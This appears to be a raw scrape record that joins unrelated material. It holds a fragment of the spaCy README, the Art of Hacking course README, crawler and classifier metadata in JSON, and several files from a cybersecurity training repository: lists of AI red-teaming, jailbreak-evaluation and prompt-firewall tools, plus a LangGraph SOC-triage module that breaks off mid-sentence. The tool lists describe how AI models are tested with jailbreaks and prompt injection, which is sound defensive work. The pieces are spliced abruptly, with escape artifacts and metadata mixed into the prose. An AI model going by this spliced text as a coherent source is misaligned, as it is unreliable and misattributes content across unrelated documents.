![](\"https://explosion.ai/assets/img/logo.svg\"){kind=logo}
<\/a>\n\n# spaCy: Industrial-strength NLP\n\nspaCy is a library for **advanced Natural Language Processing** in Python and\nCython. It's built on the very latest research, and was designed from day one to\nbe used in real products.\n\nspaCy comes with [pretrained pipelines](https://spacy.io/models) and currently\nsupports tokenization and training for **70+ languages**. It features\nstate-of-the-art speed and **neural network models** for tagging, parsing,\n**named entity recognition**, **text classification** and more, multi-task\nlearning with pretrained **transformers** like BERT, as well as a\nproduction-ready [**training system**](https://spacy.io/usage/training) and easy\nmodel packaging, deployment and workflow management. spaCy is commercial\nopen-source software, released under the\n[MIT license](https://github.com/explosion/spaCy/blob/master/LICENSE).\n\n💫 **Version 3.8 out now!**\n[Check out the release notes here.](https://github.com/explosion/spaCy/releases)\n\n[](https://github.com/explosion/spaCy/actions/workflows/tests.yml)\n[](https://github.com/explosion/spaCy/releases)\n[](https://pypi.org/project/spacy/)\n[](https://anaconda.org/conda-forge/spacy)\n[](https://github.com/explosion/wheelwright/releases)\n[](https://github.com/ambv/black)\n\n[](https://pypi.org/project/spacy/)\n[](https://anaconda.org/conda-forge/spacy)\n\n## 📖 Documentation\n\n| Documentation | |\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| ⭐️ **[spaCy 101]** | New to spaCy? Here's everything you need to know! |\n| 📚 **[Usage Guides]** | How to use spaCy and its features. |\n| 🚀 **[New in v3.0]** | New features, backwards incompatibilities and migration guide. |\n| 🪐 **[Project Templates]** | End-to-end workflows you can clone, modify and run. |\n| 🎛 **[API Reference]** | The detailed reference for spaCy's API. |\n| ⏩ **[GPU Processing]** | Use spaCy with CUDA-compatible GPU processing. |\n| 📦 **[Models]** | Download trained pipelines for spaCy. |\n| 🦙 **[Large Language Models]** | Integrate LLMs into spaCy pipelines. |\n| 🌌 **[Universe]** | Plugins, extensions, demos and books from the spaCy ecosystem. |\n| ⚙️ **[spaCy VS Code Extension]** | Additional tooling and features for working with spaCy's config files. |\n| 👩🏫 **[Online Course]** | Learn spaCy in this free and interactive online course. |\n| 📰 **[Blog]** | Read about current spaCy and Prodigy development, releases, talks and more from Explosion. |\n| 📺 **[Videos]** | Our YouTube channel with video tutorials, talks and more. |\n| 🔴 **[Live Stream]** | Join Matt as he works on spaCy and chat about NLP. |\n| 🛠 **[Changelog]** | Changes and version history. |\n| 💝 **[Contribute]** | How to contribute to the spaCy project and code base. |\n| 👕 **[Swag]** | Support us and our work with unique, custom-designed swag! |\n|
![](\"https://raw.githubusercontent.com/The-Art-of-Hacking/web/master/img/logo%20black.png\")
<\/center>\n\nThe [Art of Hacking](http://theartofhacking.org) is a series of video courses that is a complete guide to help you get up and running with your cybersecurity career. This GitHub repository has been created to provide supplemental material, tons of references, scripts, and code that help you build your own hacking environment, examples of real-life penetration testing reports, and more.\n\nThe following are the different video courses that will be part of the Art of Hacking series:\n\n* [Security Penetration Testing (The Art of Hacking Series)](https://www.safaribooksonline.com/library/view/security-penetration-testing/9780134833989)\n* [Wireless Networks, IoT, and Mobile Devices Hacking (The Art of Hacking Series)](https://www.safaribooksonline.com/library/view/wireless-networks-iot/9780134854632/)\n* [Enterprise Penetration Testing and Continuous Monitoring (The Art of Hacking Series)](https://www.safaribooksonline.com/library/view/enterprise-penetration-testing/9780134854748)\n* Hacking Web Applications (The Art of Hacking Series) LiveLessons - Coming Soon!\n* Advanced Network Hacking (The Art of Hacking Series) LiveLessons - Coming Soon!\n\nThese courses serve as comprehensive guide for any network and security professional who is starting a career in ethical hacking and penetration testing. It also can help individuals preparing for the [Offensive Security Certified Professional (OSCP)](https://www.offensive-security.com/information-security-certifications/), the [Certified Ethical Hacker (CEH)](https://www.eccouncil.org/programs/certified-ethical-hacker-ceh/), [CompTIA PenTest+](https://certification.comptia.org/certifications/pentest) and any other ethical hacking certification. This course helps any cyber security professional that want to learn the skills required to becoming a professional ethical hacker or that want to learn more about general hacking methodologies and concepts.\n\nThese video courses are published by Pearson, but this GitHub repository is maintained and supported by the lead author of the series [Omar Santos](https://omarsantos.io/). \n\nOther Live Training and Video Courses: https://theartofhacking.org/go/training_resources.pdf \n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"C01C:7A4F8:17B7DD:5CC797:6AB9203A"},"text_sha256":"64af4799314dd08518ab4e7b39d82f73a2ac3481b254a58ad194c22be39f281d"}],"classification_rule_version":"semantic-conservative-2026-09-c1-c4-r2","classification":{"C1":0,"C2":0,"C3":0,"C4":0,"C5":0,"C6":0,"C7":0,"D1":0,"score":0,"D1_evidence":"","note":"Nenhuma evidência semântica suficiente encontrada nos documentos candidatos.","evidence":[]}},"post":{"until":"2026-06-30T23:59:59Z","commit_request_status":200,"commit_rate":{"github_remaining":"3581","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"08AC:6C9BF:17DE736:1BFC0B6:6AB927CF"},"commit":{"sha":"e4db7367a981679f1b0aaef759562bb35b5b9f4f","url":"https://github.com/The-Art-of-Hacking/h4cker/commit/e4db7367a981679f1b0aaef759562bb35b5b9f4f","date":"2026-06-29T17:06:06Z","author_date":"2026-06-29T17:06:06Z","committer_date":"2026-06-29T17:06:06Z","tree_sha":"0ba605334a018215651d722eb3d5293f3fd49f7d","message_first_line":"Add Alfa Arsenal to wireless tools (#535)"},"tree_request_status":200,"tree_rate":{"github_remaining":"3580","github_reset":"1790522329","github_resource":"core","retry_after":"","request_id":"08DA:1C46F8:17A1E8F:1BBEC87:6AB927D0"},"tree_truncated":false,"document_candidates":[{"path":"README.md","size":2458,"blob_sha":"3fbc4add93160bdcec5a26f20dc8b11c2318a731","priority":0},{"path":"ai/ai-security/ai_security_tools_root.md","size":4713,"blob_sha":"17e345979bb430c0a388e16f7d2a9b60fecc8bee","priority":1},{"path":"ai/ai-security/ai_security_tools.md","size":6225,"blob_sha":"fc078ef95124eb212798b3d863ac3bcf597bb62c","priority":1},{"path":"ai/ai-security/ai-security-overview.md","size":402,"blob_sha":"071f2e239d90ae8631b4452779600c56395122de","priority":1},{"path":"ai/ai-security/model_and_genai_application_security_testing.md","size":2501,"blob_sha":"0e5b8f5dda4dd0c85654bb895b35092f94b11b90","priority":1},{"path":"ai/ai-security/model_security_testing.md","size":441,"blob_sha":"e8815ce07e3808873a76f80fafe8a76ea65c059a","priority":1},{"path":"ai/course-materials/Creating Agents for Cybersecurity/modules/04-langgraph-security.md","size":8848,"blob_sha":"d373f50624f2d2b0cdbdbee5a637bd2390324261","priority":1},{"path":"ai/course-materials/Creating Agents for Cybersecurity/modules/08-foundry-security-spec.md","size":14591,"blob_sha":"30254b6a72cdb949bb5e4c70bc4131238b186fdb","priority":1},{"path":"ai/llm-engineering/ai_agentic_tools_for_cybersecurity.md","size":1481,"blob_sha":"cbbefbe661e81e741abd41ea3114e14ca9656d8d","priority":1},{"path":"ai/llm-engineering/ML-Fundamentals/glossary_of_terms.md","size":11867,"blob_sha":"1ded11e4ed3c81ed498738c4cdb297843e57d807","priority":1},{"path":"build-your-own-lab/security-onion-proxmox.md","size":5816,"blob_sha":"c9045449cac1a1b4ebaa4a1946c26a860dc0f8c6","priority":1},{"path":"certifications/cisco/scor-350-701/content_security_fundamentals.md","size":1236,"blob_sha":"cf1d7808e5ac60a789d4edbf86ce479d806d770e","priority":1},{"path":"cybersecurity-domains/application-security/web-application-testing/api_security_assessment_README.md","size":9966,"blob_sha":"830bdc35974138dbc05e490be163b7bdf50e2f95","priority":1},{"path":"cybersecurity-domains/application-security/web-application-testing/requirements_api_security.txt","size":330,"blob_sha":"e5ed6a278c917ed012f3275d23c42a98b8d88961","priority":1},{"path":"cybersecurity-domains/cloud-container-security/docker-and-k8s-security/kubernetes/network-policy-example.md","size":7585,"blob_sha":"e5ebf237fec252b5dd572f0d5c39928f6c7087a5","priority":1},{"path":"cybersecurity-domains/fundamentals/foundational-cybersecurity-concepts/Undertanding Information Security Controls.md","size":4472,"blob_sha":"6c774dcb975768911dcea30537638b66931d4067","priority":1},{"path":"training-reference/cheat-sheets/scripting/python-security.md","size":15760,"blob_sha":"4dbfb332593c173203928717dc97bd1811e140e9","priority":1},{"path":"training-reference/organized-tools/mobile-security_tools.md","size":14486,"blob_sha":"7f58e0f7f3b73b51d631233e26fdcee739e671c6","priority":1}],"documents":[{"path":"README.md","size":2458,"blob_sha":"3fbc4add93160bdcec5a26f20dc8b11c2318a731","priority":0,"status":200,"text":"[](https://git.io/typing-svg)\n\nThis repository is a comprehensive collection of cybersecurity references, scripts, tools, code, labs, and training resources. It is carefully curated and maintained by [Omar Santos](https://omarsantos.io/).\n\n## Overview\n\nThe repository serves as supplemental material for books, video courses, and live training created by Omar Santos. It includes resources for offensive security, defensive security, cloud and container security, application security, AI security, certifications, labs, and reference material.\n\n## Directory Overview\n\n- **Cybersecurity Domains**: [cybersecurity-domains](cybersecurity-domains/) contains the main domain taxonomy, including fundamentals, offensive security, defensive security, application security, cloud and container security, infrastructure and network security, cryptography and PKI, hardware and embedded security, governance/risk/compliance, and labs/practice.\n- **AI**: [ai](ai/) contains AI security, LLM engineering, AI-assisted incident response and automation, and AI ethics/privacy/governance resources.\n- **Certifications**: [certifications](certifications/) contains certification roadmaps, Cisco SCOR, cloud certifications, Kubernetes/CNCF certifications, CompTIA, ISC2, offensive security certification references, and supplemental exam topics.\n- **Build Your Own Lab**: [build-your-own-lab](build-your-own-lab/) remains a root-level section for lab-building and cyber range resources.\n- **Training Reference**: [training-reference](training-reference/) contains cheat sheets, O'Reilly resources, curated people/projects to follow, and organized tool indexes.\n\n## How to Use\n\nStart with the domain landing page that matches your goal, then follow the links to tools, labs, scripts, and references. Certification resources are grouped separately so exam preparation material is easy to find without mixing it into the broader domain taxonomy.\n\n## Contributing\n\nIf you wish to contribute, please read the [CONTRIBUTING.md](CONTRIBUTING.md) file.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Contact\n\nFor any inquiries or feedback, please contact [Omar Santos](https://www.linkedin.com/in/santosomar/).\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"5568:18233:17331E:5C4197:6AB9203C"},"text_sha256":"c92f15ca635a4131532669da5ed7152cabcd74be677d88dd549e266f27089178"},{"path":"ai/ai-security/ai_security_tools_root.md","size":4713,"blob_sha":"17e345979bb430c0a388e16f7d2a9b60fecc8bee","priority":1,"status":200,"text":"# AI Security Tools\n\nThis is a work in progress, curated list of AI Security tools:\n\n## Open Source Tools for AI Red Teaming\n\n### Predictive AI\n- [The Adversarial Robustness Toolbox (ART)](https://github.com/Trusted-AI/adversarial-robustness-toolbox)\n- [Armory](https://github.com/twosixlabs/armory)\n- [Foolbox](https://github.com/bethgelab/foolbox)\n- [DeepSec](https://github.com/ryderling/DEEPSEC)\n- [TextAttack](https://github.com/QData/TextAttack)\n\n### Generative AI\n- [PyRIT](https://github.com/Azure/PyRIT)\n- [Garak](https://github.com/NVIDIA/garak)\n- [Prompt Fuzzer](https://github.com/prompt-security/ps-fuzz)\n- [Guardrail](https://github.com/guardrails-ai/guardrails)\n- [Promptfoo](https://github.com/promptfoo/promptfoo)\n- [PlexyGlass](https://github.com/safellama/plexiglass)\n- [PurpleLlama](https://github.com/facebookresearch/PurpleLlama)\n- [jailbreak-evaluation](https://github.com/controllability/jailbreak-evaluation)\n\n## Prompt Firewall and Redaction\n\n_Products that intercept prompts and responses and apply security or privacy rules to them. We've blended two categories here because some prompt firewalls just redact private data (and then reidentify in the response) while others focus on identifying and blocking attacks like injection attacks or stopping data leaks. Many of the products in this category do all of the above, which is why they've been combined._\n\n- [Cisco AI Defense](https://www.cisco.com/site/us/en/products/security/ai-defense/index.html) - Model Evaluation, monitoring, guardrails, inventory, AI asset discovery, and more.\n- [Robust Intelligence AI Firewall](https://www.robustintelligence.com/) - Now part of Cisco.\n- [Protect AI Rebuff](https://playground.rebuff.ai) - A LLM prompt injection detector. [](https://github.com/protectai/rebuff/)\n- [Protect AI LLM Guard](https://protectai.com/llm-guard) - Suite of tools to protect LLM applications by helping you detect, redact, and sanitize LLM prompts and responses. [](https://github.com/protectai/llm-guard/)\n- [HiddenLayer AI Detection and Response](https://hiddenlayer.com/aidr/) - Proactively defend against threats to your LLMs.\n\n- [Vigil LLM](https://github.com/deadbits/vigil-llm) - Detect prompt injections, jailbreaks, and other potentially risky Large Language Model (LLM) inputs. \n- [Lakera Guard](https://www.lakera.ai/lakera-guard) - Protection from prompt injections, data loss, and toxic content.\n- [Arthur Shield](https://www.arthur.ai/product/shield) - Built-in, real-time firewall protection against the biggest LLM risks.\n- [Prompt Security](https://www.prompt.security) - SDK and proxy for protection against common prompt attacks.\n- [Private AI](https://www.private-ai.com) - Detect, anonymize, and replace PII with less than half the error rate of alternatives.\n- [DynamoGuard](https://dynamo.ai/platform/dynamoguard) - Identify / defend against any type of non-compliance as defined by your specific AI policies and catch attacks.\n- [Skyflow LLM Privacy Vault](https://www.skyflow.com/product/llm-privacy-vault) - Redacts PII from prompts flowing to LLMs.\n- [Guardrails AI](https://www.guardrailsai.com) - Guardrails runs Input/Output Guards in your application that detect, quantify and mitigate the presence of specific types of risks. [](https://github.com/guardrails-ai/guardrails/)\n\n## AI Red Teaming Guidance\n- [OWASP's GenAI Red Teaming Guide](https://genaisecurityproject.com/resource/genai-red-teaming-guide/) - guide includes four areas: model evaluation, implementation testing, infrastructure assessment, and runtime behavior analysis.\n- [OWASP's List of AI Security Tools](https://owaspai.org/docs/5_testing/#open-source-tools-for-predictive-ai-red-teaming)\n- [Guidance from the OWASP Generative AI Security Project](https://genai.owasp.org/initiatives/#ai-redteaming)\n- [Guidance from CSA](https://cloudsecurityalliance.org/artifacts/agentic-ai-red-teaming-guide)\n\n## AI Red Teaming Datasets\n- [AttaQ Dataset](https://huggingface.co/datasets/ibm/AttaQ) - a red teaming dataset consisting of 1402 carefully crafted adversarial questions\n- [HarmBench: A Standardized Evaluation Framework for Automated Red Teaming and Robust Refusal](https://arxiv.org/pdf/2402.04249)\n\n## Julia AI Security Tools\n\n- [Oracle](https://github.com/bad-antics/oracle) - AI-powered vulnerability prediction framework using GNN-based pattern recognition, CVE trend analysis, and CVSS scoring. Integrates NVD, MITRE ATT&CK, and EPSS data.\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"612A:3EACB:172FAB:5C3EFF:6AB9203D"},"text_sha256":"feb77d2914ef8eb0d4efa9bfb1d0f83fb0ea42f2dde6cec41af60f6cef1c6fa6"},{"path":"ai/ai-security/ai_security_tools.md","size":6225,"blob_sha":"fc078ef95124eb212798b3d863ac3bcf597bb62c","priority":1,"status":200,"text":"# AI Security Tools\n\nThis is a work in progress, curated list of AI Security tools:\n\n## Open Source Tools for AI Red Teaming\n\n### Predictive AI\n- [The Adversarial Robustness Toolbox (ART)](https://github.com/Trusted-AI/adversarial-robustness-toolbox)\n- [Armory](https://github.com/twosixlabs/armory)\n- [Foolbox](https://github.com/bethgelab/foolbox)\n- [DeepSec](https://github.com/ryderling/DEEPSEC)\n- [TextAttack](https://github.com/QData/TextAttack)\n\n### Generative AI\n- [PyRIT](https://github.com/Azure/PyRIT)\n- [Garak](https://github.com/NVIDIA/garak)\n- [Prompt Fuzzer](https://github.com/prompt-security/ps-fuzz)\n- [Guardrail](https://github.com/guardrails-ai/guardrails)\n- [Promptfoo](https://github.com/promptfoo/promptfoo)\n- [PlexyGlass](https://github.com/safellama/plexiglass)\n- [PurpleLlama](https://github.com/facebookresearch/PurpleLlama)\n- [jailbreak-evaluation](https://github.com/controllability/jailbreak-evaluation)\n\n## Prompt Firewall and Redaction\n\n_Products that intercept prompts and responses and apply security or privacy rules to them. We've blended two categories here because some prompt firewalls just redact private data (and then reidentify in the response) while others focus on identifying and blocking attacks like injection attacks or stopping data leaks. Many of the products in this category do all of the above, which is why they've been combined._\n\n- [Cisco AI Defense](https://www.cisco.com/site/us/en/products/security/ai-defense/index.html) - Model Evaluation, monitoring, guardrails, inventory, AI asset discovery, and more.\n- [Robust Intelligence AI Firewall](https://www.robustintelligence.com/) - Now part of Cisco.\n- [Protect AI Rebuff](https://playground.rebuff.ai) - A LLM prompt injection detector. [](https://github.com/protectai/rebuff/)\n- [Protect AI LLM Guard](https://protectai.com/llm-guard) - Suite of tools to protect LLM applications by helping you detect, redact, and sanitize LLM prompts and responses. [](https://github.com/protectai/llm-guard/)\n- [HiddenLayer AI Detection and Response](https://hiddenlayer.com/aidr/) - Proactively defend against threats to your LLMs.\n\n- [Vigil LLM](https://github.com/deadbits/vigil-llm) - Detect prompt injections, jailbreaks, and other potentially risky Large Language Model (LLM) inputs. \n- [Lakera Guard](https://www.lakera.ai/lakera-guard) - Protection from prompt injections, data loss, and toxic content.\n- [Arthur Shield](https://www.arthur.ai/product/shield) - Built-in, real-time firewall protection against the biggest LLM risks.\n- [Prompt Security](https://www.prompt.security) - SDK and proxy for protection against common prompt attacks.\n- [Private AI](https://www.private-ai.com) - Detect, anonymize, and replace PII with less than half the error rate of alternatives.\n- [DynamoGuard](https://dynamo.ai/platform/dynamoguard) - Identify / defend against any type of non-compliance as defined by your specific AI policies and catch attacks.\n- [Skyflow LLM Privacy Vault](https://www.skyflow.com/product/llm-privacy-vault) - Redacts PII from prompts flowing to LLMs.\n- [Guardrails AI](https://www.guardrailsai.com) - Guardrails runs Input/Output Guards in your application that detect, quantify and mitigate the presence of specific types of risks. [](https://github.com/guardrails-ai/guardrails/)\n\n## AI Red Teaming Guidance\n- [OWASP's GenAI Red Teaming Guide](https://genaisecurityproject.com/resource/genai-red-teaming-guide/) - guide includes four areas: model evaluation, implementation testing, infrastructure assessment, and runtime behavior analysis.\n- [OWASP's List of AI Security Tools](https://owaspai.org/docs/5_testing/#open-source-tools-for-predictive-ai-red-teaming)\n- [Guidance from the OWASP Generative AI Security Project](https://genai.owasp.org/initiatives/#ai-redteaming)\n- [Guidance from CSA](https://cloudsecurityalliance.org/artifacts/agentic-ai-red-teaming-guide)\n\n## AI Red Teaming Datasets\n- [AttaQ Dataset](https://huggingface.co/datasets/ibm/AttaQ) - a red teaming dataset consisting of 1402 carefully crafted adversarial questions\n- [HarmBench: A Standardized Evaluation Framework for Automated Red Teaming and Robust Refusal](https://arxiv.org/pdf/2402.04249)\n\n## GenAI Security Standards and Solution Landscapes\n\n- [OWASP GenAI Security Project](https://genai.owasp.org/) - umbrella project for **LLM Top 10**, AI security landscape, governance checklist, threat intelligence, agentic app security, secure AI adoption, data security, and AI red teaming initiatives.\n - **LLM Top 10 (2025)** – updated top risks for LLM/GenAI applications.\n - **AI Security Solution Landscape** – vendor-agnostic overview of tools mapped to key GenAI risks.\n - **Threat Defense COMPASS 1.0** – consolidated view of threats, vulnerabilities, defenses, and mitigations for GenAI systems.\n - **Solutions Reference Guide (Q2–Q3 2025)** – catalog of commercial and open source controls aligned to OWASP GenAI projects.\n\n## AI Risk Maps and Secure Design Patterns\n\n- [Coalition for Secure AI (CoSAI)](https://github.com/cosai-oasis) – community defining standards, patterns, and tools for secure AI.\n- [CoSAI Risk Map / Secure AI Tooling](https://github.com/cosai-oasis/secure-ai-tooling) – framework for mapping AI-specific security risks across the AI development lifecycle and identifying appropriate mitigations.\n- [CoSAI Workstream 4 – Secure Design Patterns for Agentic Systems](https://github.com/cosai-oasis/ws4-secure-design-agentic-systems) – reusable design patterns for secure agentic and tool-using systems.\n- [CoSAI Workstream 1 – Software Supply Chain Security for AI Systems](https://github.com/cosai-oasis/ws1-supply-chain) – guidance and patterns for securing AI supply chains (models, datasets, components).\n- [CoSAI Workstream 3 – AI Risk Governance](https://github.com/cosai-oasis/ws3-ai-risk-governance) – governance patterns and controls that complement the technical tools listed above.\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"11AE:3C4A0:174DD3:5C5D60:6AB9203C"},"text_sha256":"5f4c1e0df283f81433b8556f1ca5c53d0946cae17a2ff5e83bea5604cb4625a2"},{"path":"ai/ai-security/ai-security-overview.md","size":402,"blob_sha":"071f2e239d90ae8631b4452779600c56395122de","priority":1,"status":200,"text":"# AI Security Overview\n\nThis overview preserves the original AI security navigation notes after the repository was reorganized into AI tracks. Use the current [AI Security](README.md), [LLM Engineering](../llm-engineering/), [Incident Response and Automation](../incident-response-and-automation/), and [Ethics, Privacy, and Governance](../ethics-privacy-governance/) indexes for the active structure.\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"612A:3EACB:172FB0:5C3F11:6AB9203D"},"text_sha256":"d64c7bd4976be574a92589fbb43bde869833ac6890eb8703745e51dd5af1f061"},{"path":"ai/ai-security/model_and_genai_application_security_testing.md","size":2501,"blob_sha":"0e5b8f5dda4dd0c85654bb895b35092f94b11b90","priority":1,"status":200,"text":"## Model and GenAI Application Security Testing\n\nThis file is an entry point for **testing the security of AI/ML models and GenAI applications**. Use it together with:\n\n- `ai_security_tools.md` – curated list of offensive and defensive AI security tools.\n- `ai_risk_management/README.md` – governance, regulatory, and risk management frameworks.\n- `prompt_injection/README.md` – prompt injection, jailbreak techniques, and defenses.\n- `training_environment_security/README.md` – securing training and fine‑tuning environments.\n\n### 1. Core Guidance and Taxonomies\n\n- [OWASP GenAI Security Project](https://genai.owasp.org/)\n - **LLM Top 10 (2025)** – primary risk taxonomy for LLM and GenAI applications.\n - **AI Security Landscape** and **Solutions Reference Guide (Q2–Q3 2025)** – map risks to available controls.\n - **Threat Defense COMPASS 1.0** – consolidated view of threats, vulnerabilities, defenses, and mitigations that can be used as a checklist for model/application testing.\n- [OWASP AI Security and Privacy Guide](https://owasp.org/www-project-ai-security-and-privacy-guide/)\n- [OWASP Machine Learning Security Top 10](https://mltop10.info/)\n\n### 2. Risk Maps and Secure Design Patterns\n\n- [Coalition for Secure AI (CoSAI)](https://github.com/cosai-oasis)\n - [CoSAI Risk Map / Secure AI Tooling](https://github.com/cosai-oasis/secure-ai-tooling) – risk mapping and control framework for AI systems.\n - [Workstream 4 – Secure Design Patterns for Agentic Systems](https://github.com/cosai-oasis/ws4-secure-design-agentic-systems) – secure patterns for autonomous/agentic workflows.\n - [Workstream 1 – Software Supply Chain Security for AI Systems](https://github.com/cosai-oasis/ws1-supply-chain) – guidance for model/dataset/supply-chain security.\n\n### 3. Practical Testing and Tooling\n\nSee `ai_security_tools.md` for:\n\n- **Adversarial robustness tools** (ART, Armory, Foolbox, TextAttack, etc.).\n- **GenAI red teaming tools** (PyRIT, Garak, Promptfoo, Guardrail(s), jailbreak evaluation suites).\n- **Prompt firewalls and redaction tools** (Cisco AI Defense, Robust Intelligence, Lakera Guard, Rebuff, LLM Guard, etc.).\n\nThese support:\n\n- **Pre‑deployment testing** – evasion, data leakage, jailbreaks, prompt injection.\n- **Runtime testing** – continuous red teaming, regression testing for guardrails, and monitoring false positives/negatives (see `monitoring.md` for observability tools like LangSmith, Langfuse, OpenLLMetry, and Graphsignal).\n\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"8016:17E138:173A83:5C49B1:6AB92034"},"text_sha256":"3632f61c73ca8285f63e2b5d06591e6a0cff6a6eb02c68d13a9c2a58c3486ee6"},{"path":"ai/ai-security/model_security_testing.md","size":441,"blob_sha":"e8815ce07e3808873a76f80fafe8a76ea65c059a","priority":1,"status":200,"text":"Please see https://github.com/The-Art-of-Hacking/h4cker/blob/master/ai/ai_security_tools.md\n\n### Julia Adversarial ML Frameworks\n\n- **[Mirage](https://github.com/bad-antics/mirage)** - Adversarial machine learning framework in Julia. Implements evasion attacks (FGSM, PGD, C&W), model extraction, membership inference, and robustness testing. Includes defenses like adversarial training and certified robustness. 7,000+ lines of Julia code.\n","fetch_note":"","rate":{"github_remaining":"","github_reset":"","github_resource":"","retry_after":"","request_id":"E612:18233:17332C:5C41BE:6AB9203E"},"text_sha256":"98ceff16ec05501e6ed9f38f435d9e394c0350a446b33f8edb1dac4c44f4c7e3"},{"path":"ai/course-materials/Creating Agents for Cybersecurity/modules/04-langgraph-security.md","size":8848,"blob_sha":"d373f50624f2d2b0cdbdbee5a637bd2390324261","priority":1,"status":200,"text":"# Module 4 — LangGraph for Security Workflows: Graph, State, Supervisor\n\n## 4.1 Learning objectives\n\n- Explain LangGraph's graph + state + node + edge model and why it suits security workflows.\n- Build a typed `State` for a SOC triage agent.\n- Implement the **Supervisor pattern** as a LangGraph graph.\n- Add conditional routing, retries, and a human-in-the-loop interrupt.\n- Apply LangGraph's checkpointing for replayable, auditable runs.\n\n## 4.2 Why LangGraph\n\nLangGraph is the production-grade evolution of LangChain agents. Where classic LangChain agents are essentially one big while-loop, LangGraph models the workflow as a **directed graph** with **explicit state** flowing through it.\n\nThis buys you four things that matter for security work:\n\n1. **Determinism where you want it.** Edges, conditions, and nodes are code you wrote. Only the *nodes themselves* are LLM-driven.\n2. **Auditability.** Every state transition is observable and checkpointable.\n3. **Human-in-the-loop is first-class.** You can `interrupt` a graph and resume it after human approval.\n4. **The full taxonomy from Module 2 is expressible.** Supervisor, hierarchical, parallel, peer chat — all map onto LangGraph primitives.\n\nLangGraph supports the diverse control flows from Module 2 — single agent, multi-agent, hierarchical, sequential — in one unified framework.\n\n## 4.3 The mental model\n\n```\n ┌──────┐ edge ┌──────┐\nstate ─▶│ node │ ─────▶│ node │ ─▶ state\n └──────┘ └──────┘\n │ │\n (conditional) (conditional)\n ▼ ▼\n ┌──────┐ ┌──────┐\n │ node │ │ END │\n └──────┘ └──────┘\n```\n\n- **State** — a typed object (usually a `TypedDict` or Pydantic model) that flows through the graph. Every node receives state and returns a partial state update.\n- **Node** — a function (often an LLM call) that takes state and returns an update.\n- **Edge** — a transition. Can be unconditional or conditional (the routing function inspects state and picks the next node).\n- **Checkpoint** — the state at a node boundary, persisted so the graph can be resumed or replayed.\n\n## 4.4 A typed state for SOC triage\n\n```python\nfrom typing import TypedDict, Literal, Annotated\nfrom operator import add\n\nclass TriageState(TypedDict):\n alert_id: str\n raw_alert: dict\n enrichment: dict # outputs from enrichment tools\n severity: Literal[\"info\", \"low\", \"medium\", \"high\", \"critical\", \"unknown\"]\n classification: str # e.g. \"phishing\", \"malware\", \"false_positive\"\n rationale: str\n actions_taken: Annotated[list[str], add] # appended across nodes\n needs_human: bool\n human_decision: str | None\n```\n\nA few opinions baked in:\n\n- `severity` is a `Literal` — the LLM cannot invent new levels.\n- `actions_taken` uses `Annotated[..., add]` so concurrent branches accumulate cleanly.\n- `needs_human` is explicit; the human gate is a *field*, not a hope.\n\n## 4.5 The Supervisor pattern in LangGraph\n\nThis is the most widely used architecture in production LangGraph deployments. The supervisor receives the goal, decides which specialist to call, and synthesizes results.\n\n```python\nfrom langgraph.graph import StateGraph, START, END\n\ndef supervisor(state: TriageState) -> dict:\n # LLM call: decide which worker should run next\n decision = router_llm(state)\n return {\"next\": decision}\n\ndef enricher(state): ...\ndef classifier(state): ...\ndef responder(state): ...\n\ngraph = StateGraph(TriageState)\ngraph.add_node(\"supervisor\", supervisor)\ngraph.add_node(\"enricher\", enricher)\ngraph.add_node(\"classifier\", classifier)\ngraph.add_node(\"responder\", responder)\n\ngraph.add_edge(START, \"supervisor\")\ngraph.add_conditional_edges(\n \"supervisor\",\n lambda s: s[\"next\"], # routing function\n {\n \"enrich\": \"enricher\",\n \"classify\": \"classifier\",\n \"respond\": \"responder\",\n \"done\": END,\n },\n)\ngraph.add_edge(\"enricher\", \"supervisor\")\ngraph.add_edge(\"classifier\",\"supervisor\")\ngraph.add_edge(\"responder\", \"supervisor\")\n\napp = graph.compile(checkpointer=memory_saver)\n```\n\nThree things to notice:\n\n1. The **supervisor** is the only LLM node that does routing. Workers focus on their narrow task.\n2. The **routing dictionary** is code you control — the LLM picks a key, not a free-form next node.\n3. The graph **compiles to an app** with a checkpointer; every run is resumable and replayable.\n\n## 4.6 Conditional routing and the security value of typed routing\n\nA common mistake in early LangGraph code is to let the supervisor return arbitrary text and `eval`-route on it. Don't. Use:\n\n- A **finite set of route names** (`Literal[\"enrich\", \"classify\", \"respond\", \"done\"]`).\n- A **fallback** route to a human-handoff node when the supervisor's output doesn't parse.\n- A **counter** on the state for max supervisor-turns to prevent loops.\n\nThese three things turn a fragile pattern into a production-acceptable one.\n\n## 4.7 Human-in-the-loop interrupts\n\nThe single most important security feature LangGraph gives you: `interrupt_before` and `interrupt_after`.\n\n```python\napp = graph.compile(\n checkpointer=memory_saver,\n interrupt_before=[\"responder\"], # always pause before a write action\n)\n```\n\nPattern: the graph runs to the responder node, then halts. The checkpointed state is persisted. A human reviews. On approval, the graph resumes from the checkpoint with the human's decision merged into state.\n\nFor any agent that takes write actions in production, **interrupt-before-write is the baseline pattern**. Foundry's constitution puts this in stronger language: irreversible actions require human arbitration.\n\n## 4.8 Checkpointing for audit and forensics\n\nLangGraph checkpointers (`MemorySaver`, `SqliteSaver`, `PostgresSaver`, etc.) persist state at every node boundary. For security agents this delivers:\n\n- **Replay.** Re-run any decision with the exact state it had.\n- **Forensics.** \"What did the agent see at step 4?\" is now answerable.\n- **Time-travel debugging.** Branch off any past checkpoint with a modified input.\n\nMake checkpointing a default, not an option. Treat the checkpoint store like the SIEM — sensitive, retained per policy, access-controlled.\n\n## 4.9 Common LangGraph patterns for security\n\n- **Triage → Enrich → Classify → Respond** — the canonical SOC pipeline.\n- **Scatter-Gather** — split an artifact across N analyzer agents in parallel, merge findings.\n- **Reflexion loop** — an analyst-critic pair where the critic gates the analyst's verdict.\n- **Tree-of-Thoughts for hypothesis testing** — branch on hypotheses, prune by 